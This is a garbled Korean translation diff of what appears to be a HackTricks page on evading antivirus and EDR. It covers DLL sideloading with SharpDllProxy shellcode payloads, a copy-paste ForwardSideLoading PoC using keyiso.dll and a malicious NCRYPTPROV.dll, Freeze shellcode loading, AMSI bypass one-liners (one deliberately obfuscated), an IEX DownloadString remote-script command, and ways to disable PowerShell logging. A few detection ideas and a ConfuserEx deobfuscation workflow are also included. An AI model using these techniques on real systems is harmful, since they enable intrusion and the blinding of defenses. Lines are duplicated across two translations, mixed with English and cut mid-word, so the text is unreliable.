**DLL Sideloading**은 loader가 사용하는 DLL 검색 순서를 이용하여, 피해자 애플리케이션과 악성 payload를 서로 인접한 위치에 배치하는 방법입니다.
**DLL Sideloading**은 로더가 사용하는 DLL 검색 순서를 악용하여, 피해자 애플리케이션과 악성 페이로드를 서로 나란히 배치하는 기법입니다.
[Siofra](https://github.com/Cybereason/siofra)와 다음 powershell 스크립트를 사용하 DLL Sideloading에 취약한 프로그램을 확인할 수 있습니다:
[Siofra](https://github.com/Cybereason/siofra)와 다음 powershell 스크립트를 사용하 DLL Sideloading에 취약한 프로그램을 확인할 수 있습니다:
```bash
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
```
이 명령은 "C:\Program Files\\" 내에서 DLL hijacking에 취약한 프로그램 목록과 해당 프로그램이 로드하려고 시도하는 DLL 파일들을 출력합니다.
이 명령은 "C:\Program Files\\" 내에서 DLL hijacking에 취약한 프로그램 목록과 해당 프로그램들이 로드하려고 하는 DLL files를 출력합니다.
저는 **직접 DLL Hijackable/Sideloadable 프로그램을 탐색해 보시길 강력히 권장합니다**, 이 기법은 제대로 수행하면 상당히 은밀하지만, 공개적으로 알려진 DLL Sideloadable 프로그램을 사용하면 쉽게 적발될 수 있습니다.
저는 **DLL Hijackable/Sideloadable programs를 직접 탐색해 보시길 강력히 권합니다**, 이 기법은 제대로 수행하면 상당히 은밀하지만, 공개적으로 알려진 DLL Sideloadable programs를 사용하면 쉽게 발각될 수 있습니다.
프로그램이 로드하기를 기대하는 이름의 malicious DLL을 단순히 배치하는 것만으로는 payload를 로드하지 못합니다. 프로그램이 해당 DLL 내부의 특정 함수를 기대하기 때문입니다. 이 문제를 해결하기 위해 우리는 **DLL Proxying/Forwarding**이라는 다른 기법을 사용할 것입니다.
단순히 프로그램이 로드할 것으로 기대하는 이름의 악성 DLL을 배치한다고 해서 페이로드가 실행되는 것은 아닙니다. 프로그램은 그 DLL 내부에 특정 함수들을 기대하기 때문입니다. 이 문제를 해결하기 위해 **DLL Proxying/Forwarding**이라는 다른 기법을 사용할 것입니다.
**DLL Proxying**은 프로그램이 프록시(및 malicious) DLL에서 원래 DLL로 하는 호출을 전달함으로써 프로그램의 기능을 유지하고 payload 실행을 처리할 수 있게 합니다.
**DLL Proxying**은 프록시(및 악성) DLL에서 원래 DLL로 프로그램이 하는 호출을 전달하여 프로그램의 기능을 유지하면서 페이로드 실행을 처리할 수 있게 합니다.
저는 [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) 프로젝트를 [@flangvik](https://twitter.com/Flangvik/)로부터 사용할 것입니다.
저는 [@flangvik](https://twitter.com/Flangvik/)의 [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) 프로젝트를 사용할 것입니다.
These are the steps I followed:
```
@ -98,7 +98,7 @@ These are the steps I followed:
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
마지막 명령은 우리에게 2개의 파일을 생성합니다: DLL 소스 코드 템플릿과 원래 이름이 변경된 DLL.
마지막 명령은 우리에게 2개의 파일을 제공합니다: DLL 소스 코드 템플릿과 원래 이름이 변경된 DLL.
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
```
@ -111,33 +111,33 @@ Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> 저는 **강력히 권합니다** [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543)를 DLL Sideloading 관련해서 시청해 보시고, 또한 [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE)를 통해 우리가 논의한 내용을 더 깊이 배우시길 권합니다.
> 저는 DLL Sideloading에 관한 [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543)와 또한 [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE)를 시청할 것을 강력히 권합니다. 이 영상들은 우리가 더 깊이 다룬 내용을 더 잘 이해하는 데 도움이 됩니다.
### Forwarded Exports 악용 (ForwardSideLoading)
### Abusing Forwarded Exports (ForwardSideLoading)
Windows PE 모듈은 실제로 "forwarders"인 함수를 export할 수 있습니다: 코드로 가리키는 대신, export 엔트리는 `TargetDll.TargetFunc`태의 ASCII 문자열을 포함합니다. 호출자가 해당 export를 해석할 때, Windows 로더는:
Windows PE 모듈은 실제로 "forwarders"인 함수를 export할 수 있습니다: 코드 대신 export 엔트리는 `TargetDll.TargetFunc`식의 ASCII 문자열을 포함합니다. 호출자가 export를 해석할 때 Windows loader는:
- Load `TargetDll` if not already loaded
- Resolve `TargetFunc` from it
- `TargetDll`이 아직 로드되어 있지 않다면 로드합니다
- 거기서 `TargetFunc`를 해석합니다
이해해야 할 주요 동작:
- If `TargetDll` is a KnownDLL, it is supplied from the protected KnownDLLs namespace (e.g., ntdll, kernelbase, ole32).
- If `TargetDll` is not a KnownDLL, the normal DLL search order is used, which includes the directory of the module that is doing the forward resolution.
- `TargetDll`이 KnownDLL인 경우, 보호된 KnownDLLs 네임스페이스에서 제공됩니다(예: ntdll, kernelbase, ole32).
- `TargetDll`이 KnownDLL이 아닌 경우, 일반적인 DLL 검색 순서가 사용되며 이는 forward 해석을 수행하는 모듈의 디렉터리를 포함합니다.
것은 간접적인 sideloading primitive를 가능하게 합니다: 함수가 non-KnownDLL 모듈 이름으로 포워딩된 signed DLL을 찾아, 그 signed DLL과 포워딩된 대상 모듈 이름과 정확히 일치하는 이름의 attacker-controlled DLL을 같은 디렉터리에 둡니다. 포워딩된 export가 호출되면, 로더는 포워드를 해석하고 동일한 디렉터리에서 당신의 DLL을 로드하여 DllMain을 실행합니다.
는 간접적인 sideloading primitive를 가능하게 합니다: non-KnownDLL 모듈 이름으로 forward된 함수를 export하는 signed DLL을 찾은 다음, 그 signed DLL과 동일한 디렉터리에 forward된 대상 모듈 이름과 정확히 같은 이름의 attacker-controlled DLL을 함께 배치하십시오. forward된 export가 호출되면 loader가 forward를 해석하여 같은 디렉터리에서 당신의 DLL을 로드하고 DllMain을 실행합니다.
Example observed on Windows 11:
```
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
```
`NCRYPTPROV.dll`은 KnownDLL이 아니므로 일반 검색 순서 해결됩니다.
`NCRYPTPROV.dll`은 KnownDLL이 아니므로 일반 검색 순서에 따라 해결됩니다.
PoC (복사-붙여넣기):
1) 서명된 시스템 DLL을 쓰기 가능한 폴더로 복사하세요
1) 서명된 시스템 DLL을 쓰기 가능한 폴더로 복사합니다.
```
copy C:\Windows\System32\keyiso.dll C:\test\
```
2) 같은 폴더에 악성 `NCRYPTPROV.dll`을 배치합니다. 코드 실행을 얻기 위해서는 최소한의 `DllMain`만으로도 충분하며, `DllMain`을 트리거하기 위해 forwarded function을 구현할 필요는 없습니다.
2) 같은 폴더에 악성 `NCRYPTPROV.dll`을 배치하세요. 최소한의 DllMain만으로 코드 실행이 가능하며; DllMain을 트리거하기 위해 포워딩된 함수를 구현할 필요는 없습니다.
```c
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
#include <windows.h>
@ -149,35 +149,35 @@ if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&
return TRUE;
}
```
3) 서명된 LOLBin으로 forward를 트리거:
3) 서명된 LOLBin으로 포워딩을 트리거:
```
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
```
Observed behavior:
- rundll32 (서명됨)이 side-by-side `keyiso.dll` (서명됨)을 로드합니다
- `KeyIsoSetAuditingInterface`를 해결하는 동안, 로더는 `NCRYPTPROV.SetAuditingInterface`로의 forward를 따라갑니
- 로더는 그 다음 `C:\test`에서 `NCRYPTPROV.dll`을 로드하고 `DllMain`을 실행합니
- `SetAuditingInterface`가 구현되어 있지 않으면, `DllMain`이 이미 실행된 후에야 "missing API" 오류가 발생합니
- rundll32 (서명됨) loads the side-by-side `keyiso.dll` (서명됨)
- `KeyIsoSetAuditingInterface`를 해결하는 동안 로더는 포워드를 따라 `NCRYPTPROV.SetAuditingInterface`로 이동한
- 로더는 이어서 `C:\test`에서 `NCRYPTPROV.dll`을 로드하고 그 `DllMain`을 실행한
- `SetAuditingInterface`가 구현되어 있지 않으면, `DllMain`이 이미 실행된 후에만 "missing API" 오류가 발생한
Hunting tips:
- 타깃 모듈이 KnownDLL이 아닌 forwarded exports에 집중하세요. KnownDLLs는 `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs` 아래에 나열되어 있습니다.
- 대상 모듈이 KnownDLL이 아닌 forwarded exports에 집중하세요. KnownDLLs는 `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`에 나열되어 있습니다.
- 다음과 같은 도구로 forwarded exports를 열거할 수 있습니다:
```
dumpbin /exports C:\Windows\System32\keyiso.dll
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
```
- 후보를 검색하려면 Windows 11 forwarder 인벤토리를 확인하세요: https://hexacorn.com/d/apis_fwd.txt
- Windows 11 forwarder 목록에서 후보를 검색하세요: https://hexacorn.com/d/apis_fwd.txt
탐지/방어 아이디어:
- LOLBins(예: rundll32.exe)가 비시스템 경로에서 signed DLLs를 로드한 뒤, 동일한 base name을 가진 non-KnownDLLs를 같은 디렉터리에서 로드하는 동작을 모니터링하세요
- 사용자 쓰기 가능 경로에서 `rundll32.exe` → non-system `keyiso.dll``NCRYPTPROV.dll` 같은 프로세스/모듈 체인에 대해 경고를 발생시키세요
- 코드 무결성 정책(WDAC/AppLocker)을 적용하고 애플리케이션 디렉터리에서 write+execute 권한을 차단하세요
Detection/defense ideas:
- Monitor LOLBins (e.g., rundll32.exe)가 비시스템 경로에서 서명된 DLL을 로드한 다음, 같은 기본 이름을 가진 non-KnownDLLs를 해당 디렉터리에서 로드하는 것을 모니터링하세요
- 다음과 같은 프로세스/모듈 체인(사용자 쓰기 가능 경로에서)에 대해 경고를 생성하세요: `rundll32.exe` → non-system `keyiso.dll``NCRYPTPROV.dll`
- 코드 무결성 정책(WDAC/AppLocker)을 시행하고 애플리케이션 디렉터리에서 write+execute를 차단하세요
## [**Freeze**](https://github.com/optiv/Freeze)
`Freeze suspended processes, direct syscalls, and alternative execution methods를 사용해 EDRs를 우회하는 payload toolkit입니다`
`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
Freeze를 사용 shellcode를 은밀하게 로드하고 실행할 수 있습니다.
Freeze를 사용하여 shellcode를 은밀하게 로드하고 실행할 수 있습니다.
```
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
@ -187,53 +187,53 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Evasion is just a cat & mouse game, what works today could be detected tomorrow, so never rely on only one tool, if possible, try chaining multiple evasion techniques.
> 회피는 단순한 쥐와 고양이의 게임입니다. 오늘 통하는 방법이 내일 탐지될 수 있으므로 절대 하나의 도구에만 의존하지 말고, 가능하면 여러 회피 기법을 연쇄적으로 사용하세요.
## AMSI (Anti-Malware Scan Interface)
AMSI는 "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)"를 막기 위해 만들어졌습니다. 초기에는 AV가 **디스크상의 파일만** 스캔할 수 있었기 때문에, 페이로드를 **메모리에서 직접 실행**할 수 있다면 AV는 이를 막을 수 있는 가시성이 부족했습니다.
AMSI는 "fileless malware"(파일리스 멀웨어)를 방지하기 위해 만들어졌습니다. 초기에는 AV가 디스크상의 파일만 스캔할 수 있었기 때문에, 페이로드를 메모리에서 직접 실행할 수 있다면 AV는 충분한 가시성이 없어 이를 막을 수 없었습니다.
AMSI 기능은 Windows의 다음 구성요소에 통합되어 있습니다.
- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
- PowerShell (scripts, interactive use, and dynamic code evaluation)
- Windows Script Host (wscript.exe and cscript.exe)
- JavaScript and VBScript
- Office VBA macros
- User Account Control, or UAC (EXE, COM, MSI 또는 ActiveX 설치의 권한 상승)
- PowerShell (스크립트, 대화형 사용 및 동적 코드 평가)
- Windows Script Host (wscript.exe cscript.exe)
- JavaScript VBScript
- Office VBA 매크로
이는 스크립트 내용을 암호화되거나 난독화되지 않은 형태로 노출시켜 antivirus 솔루션이 스크립트 동작을 검사할 수 있게 합니다.
이는 스크립트 내용을 암호화되지 않고 난독화되지 않은 형태로 노출하여 안티바이러스 솔루션이 스크립트 동작을 검사할 수 있게 합니다.
`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')`를 실행하면 Windows Defender에서 다음과 같은 경고가 발생합니다.
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
`amsi:`와 스크립트가 실행된 실행파일의 경로(이 경우 powershell.exe)를 앞에 붙이는 것을 확인할 수 있습니다.
`amsi:`를 앞에 붙이고 스크립트가 실행된 실행 파일의 경로(이 경우 powershell.exe)를 표시하는 것을 볼 수 있습니다.
우리는 어떤 파일도 디스크에 드롭하지 않았지만, AMSI 때문에 메모리 상에서 탐지되었습니다.
디스크에 어떤 파일도 떨어뜨리지 않았지만 AMSI 때문에 메모리에서 실행 중인 상태도 탐지되었습니다.
또한 **.NET 4.8**부터는 C# 코드도 AMSI를 통해 실행됩니다. 이는 `Assembly.Load(byte[])`로 메모리에서 로드하는 경우에도 영향을 미칩니다. 따라서 AMSI를 우회하려면 메모리 실행을 위해 낮은 버전의 .NET(예: 4.7.2 이하)을 사용하는 것이 권장됩니다.
더욱이, **.NET 4.8**부터는 C# 코드도 AMSI를 통해 실행됩니다. 이는 `Assembly.Load(byte[])`를 통한 인메모리 로딩에도 영향을 줍니다. 따라서 AMSI를 회피하려면 인메모리 실행용으로는 .NET의 더 낮은 버전(예: 4.7.2 이하)을 사용하는 것이 권장됩니다.
AMSI를 회피하는 방법에는 몇 가지가 있습니다:
AMSI를 우회하는 방법은 몇 가지가 있습니다:
- **Obfuscation**
AMSI가 주로 정적 탐지에 의존하기 때문에, 로드하려는 스크립트를 수정하는 것은 탐지를 회피하는 좋은 방법이 될 수 있습니다.
AMSI는 주로 정적 탐지에 의존하므로, 로드하려는 스크립트를 수정하는 것은 탐지를 회피하는 좋은 방법이 될 수 있습니다.
그러나 AMSI는 여러 레이어로 난독화된 스크립트도 복원할 수 있는 능력이 있어, 난독화가 어떻게 되었는지에 따라 오히려 좋지 않은 선택일 수 있습니다. 따라서 회피가 항상 간단하지는 않습니다. 하지만 때로는 변수 이름 몇 개만 바꿔도 충분한 경우도 있으므로, 얼마나 많이 플래그되었는지에 따라 달라집니다.
그러나 AMSI는 여러 레이어의 난독화가 있더라도 스크립트를 복원할 수 있는 능력이 있으므로, 난독화 방법에 따라 오히려 효과가 없을 수 있습니다. 따라서 회피가 간단하지 않을 수 있습니다. 다만 때때로 몇 개의 변수명만 바꿔도 해결되는 경우가 있으므로, 얼마나 심하게 표시되었는지에 따라 달라집니다.
- **AMSI Bypass**
AMSI가 powershell(또는 cscript.exe, wscript.exe 등) 프로세스에 DLL을 로드하는 방식으로 구현되어 있기 때문에, 권한이 낮은 사용자로 실행 중이더라도 쉽게 조작할 수 있습니다. AMSI 구현의 이 결함 때문에 연구자들은 AMSI 스캔을 회피하는 여러 방법을 찾아냈습니다.
AMSI는 powershell(및 cscript.exe, wscript.exe 등) 프로세스에 DLL을 로드하는 방식으로 구현되어 있기 때문에, 권한이 없는 사용자로 실행 중일 때에도 쉽게 조작할 수 있습니다. AMSI 구현의 이 결함으로 연구자들은 AMSI 스캔을 회피하는 여러 방법을 찾아냈습니다.
**Forcing an Error**
AMSI 초기화를 실패하게 하면(amsiInitFailed) 현재 프로세스에 대해 스캔이 시작되지 않습니다. 원래 이는 [Matt Graeber](https://twitter.com/mattifestation)이 공개했으며, Microsoft는 광범위한 사용을 막기 위해 시그니처를 개발했습니다.
AMSI 초기화가 실패하도록 강제(amsiInitFailed)하면 현재 프로세스에 대해 스캔이 시작되지 않습니다. 원래 이 기법은 [Matt Graeber](https://twitter.com/mattifestation)이 공개했으며, Microsoft는 보다 광범위한 사용을 막기 위해 시그니처를 개발했습니다.
```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
현재 powershell 프로세스에서 AMSI를 사용할 수 없게 만드는 데 필요한 것은 powershell 코드 한 줄뿐이었다. 물론 이 한 줄은 AMSI에 의해 감지되므로, 이 기법을 사용하려면 일부 수정이 필요하다.
한 줄의 powershell 코드만으로 현재 powershell 프로세스에서 AMSI를 사용할 수 없게 만들 수 있었다. 이 한 줄은 물론 AMSI 자체에 의해 탐지되었기 때문에 이 기법을 사용하려면 약간의 수정이 필요하다.
다음은 제가 이 [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db)에서 가져온 수정된 AMSI bypass다.
다음은 이 [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db)에서 가져온 수정된 AMSI bypass다.
```bash
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
@ -247,14 +247,14 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
이 게시물이 공개되면 아마 감지될 가능성이 있으므로, 탐지되지 않는 상태를 유지하려면 코드를 게시하지 마세요.
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
**Memory Patching**
This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
> [!TIP]
> 자세한 설명은 [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)를 참고하세요.
> Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation.
There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.
@ -266,100 +266,100 @@ You can use a tool such as **[https://github.com/cobbr/PSAmsi](https://github.co
**AV/EDR products that uses AMSI**
AMSI를 사용하는 AV/EDR 제품 목록은 **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**에서 확인할 수 있습니다.
You can find a list of AV/EDR products that uses AMSI in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
**Use Powershell version 2**
If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this:
```bash
powershell.exe -version 2
```
## PS Logging
## PS 로깅
PowerShell logging은 시스템에서 실행된 모든 PowerShell 명령을 기록할 수 있게 해주는 기능입니다. 이는 감사(auditing)와 문제해결(troubleshooting)에 유용하지만, 탐지를 회피하려는 **attackers에게는 문제**가 될 수 있습니다.
PowerShell 로깅은 시스템에서 실행된 모든 PowerShell 명령을 기록할 수 있게 해주는 기능이다. 감사와 문제 해결에 유용하지만, 탐지를 회피하려는 공격자에게는 문제가 될 수 있다.
PowerShell logging을 우회(bypass)하려면 다음 기법을 사용할 수 있습니다:
PowerShell 로깅을 우회하기 위해 다음 기법들을 사용할 수 있다:
- **Disable PowerShell Transcription and Module Logging**: 이 목적을 위해 [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) 같은 도구를 사용할 수 있습니다.
- **Use Powershell version 2**: PowerShell version 2를 사용하면 AMSI가 로드되지 않으므로 AMSI로 스캔되지 않고 스크립트를 실행할 수 있습니다. 이렇게 실행하면 됩니다: `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**: [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell)를 사용해 방어가 비활성화된 powershell을 생성하세요 (이것이 Cobal Strike의 `powerpick`이 사용하는 방식입니다).
- **Disable PowerShell Transcription and Module Logging**: 이 목적을 위해 [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) 같은 도구를 사용할 수 있다.
- **Use Powershell version 2**: PowerShell version 2를 사용하면 AMSI가 로드되지 않으므로 AMSI 검사 없이 스크립트를 실행할 수 있다. 예: `powershell.exe -version 2`
- **Use an Unmanaged Powershell Session**: 방어가 없는 powershell을 생성하려면 [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) 를 사용하라 (이 방법은 Cobal Strike의 `powerpick`이 사용하는 방식이다).
## Obfuscation
## 난독화
> [!TIP]
> 여러 obfuscation 기법은 데이터를 암호화하는 것에 의존하는데, 이는 바이너리의 엔트로피를 증가시켜 AVs와 EDRs가 이를 탐지하기 쉽게 만듭니다. 이 점을 주의하고, 민감하거나 숨겨야 하는 코드 섹션에만 암호화를 적용하는 것을 고려하세요.
> 여러 난독화 기법은 데이터를 암호화하는 데 의존하며, 이로 인해 바이너리의 엔트로피가 증가하여 AVs 및 EDRs가 탐지하기 쉬워진다. 이에 주의하고, 민감하거나 숨길 필요가 있는 코드 섹션에만 암호화를 적용하는 것이 좋다.
### Deobfuscating ConfuserEx-Protected .NET Binaries
ConfuserEx 2(또는 상업적 포크)를 사용하는 malware를 분석할 때, 디컴파일러와 sandbox를 차단하는 여러 보호 계층에 직면하는 것이 일반적입니다. 아래 워크플로우는 신뢰할 수 있게 거의 원본에 가까운 IL을 **복원**하며, 이후 dnSpy나 ILSpy 같은 도구에서 C#으로 디컴파일할 수 있게 합니다.
ConfuserEx 2(또는 상업적 포크)를 사용하는 악성코드를 분석할 때는 디컴파일러와 샌드박스를 차단하는 여러 보호 계층을 마주치는 것이 일반적이다. 아래 워크플로우는 신뢰성 있게 원본에 가까운 IL을 **복원**하며, 이후 dnSpy나 ILSpy 같은 도구에서 C#으로 디컴파일할 수 있다.
1. Anti-tampering removal ConfuserEx는 모든 *method body*를 암호화하고 *module* static constructor(`<Module>.cctor`) 내부에서 복호화합니다. 또한 PE checksum을 패치하므로 수정 시 바이너리가 크래시할 수 있습니다. 암호화된 메타데이터 테이블을 찾고 XOR 키를 복구하여 깨끗한 어셈블리를 재작성하려면 **AntiTamperKiller**를 사용하세요:
1. Anti-tampering 제거 ConfuserEx는 모든 *method body*를 암호화하고 *module* 정적 생성자(`<Module>.cctor`) 내에서 복호화한다. 또한 PE 체크섬을 패치하여 수정 시 바이너리가 크래시나게 만든다. 암호화된 메타데이터 테이블을 찾고 XOR 키를 복구하여 클린 어셈블리를 다시 쓰려면 **AntiTamperKiller**를 사용하라:
```bash
# https://github.com/wwh1004/AntiTamperKiller
python AntiTamperKiller.py Confused.exe Confused.clean.exe
```
출력에는 6개의 anti-tamper 파라미터(`key0-key3`, `nameHash`, `internKey`)가 포함되어 있으며, 자체 언패커를 만들 때 유용합니다.
출력에는 자체 언패커를 만들 때 유용할 수 있는 6개의 안티탬퍼 파라미터(`key0-key3`, `nameHash`, `internKey`)가 포함된다.
2. Symbol / control-flow recovery *clean* 파일을 **de4dot-cex**(ConfuserEx를 인식하는 de4dot의 포크)에 넣으세요.
2. 심볼 / 제어 흐름 복구 *clean* 파일을 ConfuserEx를 인식하는 de4dot 포크인 **de4dot-cex**에 넣어라.
```bash
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
```
Flags:
`-p crx` ConfuserEx 2 프로파일 선택
• de4dot는 control-flow flattening을 되돌리고 원래의 namespace, class 및 변수 이름을 복원하며 상수 문자열을 복호화합니다.
`-p crx` ConfuserEx 2 프로 선택
• de4dot는 control-flow flattening을 되돌리고 원래의 namespaces, classes 및 변수 이름을 복원하며 상수 문자열을 복호화다.
3. Proxy-call stripping ConfuserEx는 디컴파일을 더 어렵게 만들기 위해 직접 메서드 호출을 가벼운 래퍼(일명 *proxy calls*)로 바꿉니다. 이를 제거하려면 **ProxyCall-Remover**를 사용하세요:
3. Proxy-call 제거 ConfuserEx는 디컴파일을 더 어렵게 만들기 위해 직접적인 메서드 호출을 경량 래퍼(일명 *proxy calls*)로 대체한다. **ProxyCall-Remover**로 이를 제거하라:
```bash
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
```
이 단계 이후에는 불투명한 래퍼 함수(`Class8.smethod_10`, …) 대신 `Convert.FromBase64String`이나 `AES.Create()` 같은 일반적인 .NET API가 보여야 합니다.
이 단계 후에는 `Class8.smethod_10` 같은 불투명한 래퍼 함수 대신 `Convert.FromBase64String` 또는 `AES.Create()` 같은 일반적인 .NET API를 볼 수 있어야 한다.
4. Manual clean-up 결과 바이너리를 dnSpy로 열어 대용량 Base64 블롭이나 `RijndaelManaged`/`TripleDESCryptoServiceProvider` 사용을 검색해 *실제* 페이로드를 찾으세요. 종종 페이로드는 `<Module>.byte_0` 내부에 초기화된 TLV-encoded 바이트 배열로 저장됩니다.
4. 수동 정리 결과 바이너리를 dnSpy에서 실행하여 큰 Base64 블롭이나 `RijndaelManaged`/`TripleDESCryptoServiceProvider` 사용을 검색해 *실제* 페이로드를 찾아라. 종종 악성코드는 `<Module>.byte_0` 내부에 TLV로 인코딩된 바이트 배열로 저장한다.
위 체인은 악성 샘플을 실제로 실행하지 않고도 실행 흐름을 복원하므로 오프라인 워크스테이션에서 작업할 때 유용합니다.
위 체인은 악성 샘플을 실행할 필요 없이 실행 흐름을 복원하므로 오프라인 워크스테이션에서 작업할 때 유용하다.
> 🛈 ConfuserEx는 `ConfusedByAttribute`라는 커스텀 어트리뷰트를 생성하며, 이는 샘플을 자동으로 분류(triage)할 때 IOC로 사용할 수 있습니다.
> 🛈 ConfuserEx는 `ConfusedByAttribute`라는 커스텀 어트리뷰트를 생성하며, 이는 샘플을 자동 분류하는 IOC로 사용할 수 있다.
#### One-liner
#### 원라이너
```bash
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
```
---
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 이 프로젝트의 목적은 [LLVM](http://www.llvm.org/) 컴파일러 스위트의 오픈 소스 포크를 제공하여 code obfuscation 및 tamper-proofing을 통해 소프트웨어 보안을 향상시키는 것입니다.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator는 `C++11/14` 언어를 사용하여 컴파일 시점에 외부 도구나 컴파일러 수정을 하지 않고 obfuscated code를 생성하는 방법을 보여줍니다.
- [**obfy**](https://github.com/fritzone/obfy): C++ template metaprogramming 프레임워크로 생성된 obfuscated operations 레이어를 추가하여 애플리케이션을 크랙하려는 사람의 작업을 조금 더 어렵게 만듭니다.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz는 x64 binary obfuscator로 .exe, .dll, .sys 등을 포함한 다양한 pe files를 obfuscate할 수 있습니다.
- [**metame**](https://github.com/a0rtega/metame): Metame는 임의의 executables용 간단한 metamorphic code engine입니다.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator는 ROP (return-oriented programming)을 사용하여 LLVM 지원 언어에 대해 세밀한 수준의 code obfuscation 프레임워크입니다. ROPfuscator는 일반 명령어를 ROP chains로 변환하여 어셈블리 코드 수준에서 프로그램을 obfuscate함으로써 일반적인 control flow 개념을 방해합니다.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt는 Nim으로 작성된 .NET PE Crypter입니다.
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor는 기존 EXE/DLL을 shellcode로 변환한 다음 로드할 수 있습니다.
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 이 프로젝트의 목적은 [LLVM](http://www.llvm.org/) 컴파일링 스위트의 오픈 소스 포크를 제공하여 [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) 및 변조 방지를 통해 소프트웨어 보안을 향상시키는 것입니다.
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator는 외부 도구를 사용하거나 컴파일러를 수정하지 않고 `C++11/14`를 이용해 컴파일 시에 obfuscated code를 생성하는 방법을 시연합니다.
- [**obfy**](https://github.com/fritzone/obfy): C++ 템플릿 메타프로그래밍 프레임워크로 생성된 obfuscated operations 계층을 추가하여 애플리케이션을 크랙하려는 사람의 작업을 조금 더 어렵게 만듭니다.
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz는 .exe, .dll, .sys 등을 포함한 다양한 pe 파일을 obfuscate할 수 있는 x64 binary obfuscator입니다.
- [**metame**](https://github.com/a0rtega/metame): Metame은 임의의 실행 파일을 위한 단순한 metamorphic code 엔진입니다.
